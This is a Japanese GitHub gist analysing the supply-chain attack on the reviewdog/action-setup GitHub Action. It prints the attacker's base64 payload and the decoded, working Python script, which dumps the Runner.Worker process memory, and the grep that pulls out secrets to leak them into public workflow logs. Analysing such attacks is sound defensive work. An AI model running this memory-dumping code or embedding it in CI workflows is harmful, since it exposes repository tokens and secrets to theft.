Skip to content

Instantly share code, notes, and snippets.

@koron
Last active March 18, 2025 02:26
Show Gist options
  • Save koron/7a853e3363cc2093ba8a6ddf7bd85d09 to your computer and use it in GitHub Desktop.
Save koron/7a853e3363cc2093ba8a6ddf7bd85d09 to your computer and use it in GitHub Desktop.
GitHub Actionsで行われていた攻撃の解析

GitHub Actionsで行われていた攻撃の解析

  1. tj-actions/changed-files への攻撃が発覚
  2. reviewdog/action-setup への攻撃がそれよりも前に発生していたとのレポート

reviewdog/action-setup への攻撃内容を見てみよう、という話。

$ base64 -d 1_script_runner.b64 > 2_script_runner.py

という形でPythonスクリプトを展開してる。

このスクリプト(2_script_runner.py)は Runner.Worker プロセス(おそらくGHAのコマンドを実行するワーカープロセス)を特定し、 そのプロセスの読み込み可能なメモリを全てダンプする。

ダンプしたメモリに対して grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' で 全てのシークレットの情報を(二重にbase64エンコードして)echo する。

つまりGHAの実行ログにシークレットがさらされる。 tj-actions/changed-filesはこれで自身への書き込み権限のあるPATを、ログ上へ晒してしまったのだと考えられる。

IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwoKIyBiYXNlZCBvbiBodHRwczovL2RhdmlkZWJvdmUuY29tL2Jsb2cvP3A9MTYyMAoKaW1wb3J0IHN5cwppbXBvcnQgb3MKaW1wb3J0IHJlCgoKZGVmIGdldF9waWQoKToKICAgICMgaHR0cHM6Ly9zdGFja292ZXJmbG93LmNvbS9xdWVzdGlvbnMvMjcwMzY0MC9wcm9jZXNzLWxpc3Qtb24tbGludXgtdmlhLXB5dGhvbgogICAgcGlkcyA9IFtwaWQgZm9yIHBpZCBpbiBvcy5saXN0ZGlyKCcvcHJvYycpIGlmIHBpZC5pc2RpZ2l0KCldCgogICAgZm9yIHBpZCBpbiBwaWRzOgogICAgICAgIHdpdGggb3Blbihvcy5wYXRoLmpvaW4oJy9wcm9jJywgcGlkLCAnY21kbGluZScpLCAncmInKSBhcyBjbWRsaW5lX2Y6CiAgICAgICAgICAgIGlmIGInUnVubmVyLldvcmtlcicgaW4gY21kbGluZV9mLnJlYWQoKToKICAgICAgICAgICAgICAgIHJldHVybiBwaWQKCiAgICByYWlzZSBFeGNlcHRpb24oJ0NhbiBub3QgZ2V0IHBpZCBvZiBSdW5uZXIuV29ya2VyJykKCgppZiBfX25hbWVfXyA9PSAiX19tYWluX18iOgogICAgcGlkID0gZ2V0X3BpZCgpCiAgICBwcmludChwaWQpCgogICAgbWFwX3BhdGggPSBmIi9wcm9jL3twaWR9L21hcHMiCiAgICBtZW1fcGF0aCA9IGYiL3Byb2Mve3BpZH0vbWVtIgoKICAgIHdpdGggb3BlbihtYXBfcGF0aCwgJ3InKSBhcyBtYXBfZiwgb3BlbihtZW1fcGF0aCwgJ3JiJywgMCkgYXMgbWVtX2Y6CiAgICAgICAgZm9yIGxpbmUgaW4gbWFwX2YucmVhZGxpbmVzKCk6ICAjIGZvciBlYWNoIG1hcHBlZCByZWdpb24KICAgICAgICAgICAgbSA9IHJlLm1hdGNoKHInKFswLTlBLUZhLWZdKyktKFswLTlBLUZhLWZdKykgKFstcl0pJywgbGluZSkKICAgICAgICAgICAgaWYgbS5ncm91cCgzKSA9PSAncic6ICAjIHJlYWRhYmxlIHJlZ2lvbgogICAgICAgICAgICAgICAgc3RhcnQgPSBpbnQobS5ncm91cCgxKSwgMTYpCiAgICAgICAgICAgICAgICBlbmQgPSBpbnQobS5ncm91cCgyKSwgMTYpCiAgICAgICAgICAgICAgICAjIGhvdGZpeDogT3ZlcmZsb3dFcnJvcjogUHl0aG9uIGludCB0b28gbGFyZ2UgdG8gY29udmVydCB0byBDIGxvbmcKICAgICAgICAgICAgICAgICMgMTg0NDY3NDQwNzM2OTkwNjU4NTYKICAgICAgICAgICAgICAgIGlmIHN0YXJ0ID4gc3lzLm1heHNpemU6CiAgICAgICAgICAgICAgICAgICAgY29udGludWUKICAgICAgICAgICAgICAgIG1lbV9mLnNlZWsoc3RhcnQpICAjIHNlZWsgdG8gcmVnaW9uIHN0YXJ0CiAgICAgICAgICAgIAogICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgIGNodW5rID0gbWVtX2YucmVhZChlbmQgLSBzdGFydCkgICMgcmVhZCByZWdpb24gY29udGVudHMKICAgICAgICAgICAgICAgICAgICBzeXMuc3Rkb3V0LmJ1ZmZlci53cml0ZShjaHVuaykKICAgICAgICAgICAgICAgIGV4Y2VwdCBPU0Vycm9yOgogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlCg==
#!/usr/bin/env python3
# based on https://davidebove.com/blog/?p=1620
import sys
import os
import re
def get_pid():
# https://stackoverflow.com/questions/2703640/process-list-on-linux-via-python
pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]
for pid in pids:
with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
if b'Runner.Worker' in cmdline_f.read():
return pid
raise Exception('Can not get pid of Runner.Worker')
if __name__ == "__main__":
pid = get_pid()
print(pid)
map_path = f"/proc/{pid}/maps"
mem_path = f"/proc/{pid}/mem"
with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
for line in map_f.readlines(): # for each mapped region
m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
if m.group(3) == 'r': # readable region
start = int(m.group(1), 16)
end = int(m.group(2), 16)
# hotfix: OverflowError: Python int too large to convert to C long
# 18446744073699065856
if start > sys.maxsize:
continue
mem_f.seek(start) # seek to region start
try:
chunk = mem_f.read(end - start) # read region contents
sys.stdout.buffer.write(chunk)
except OSError:
continue
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment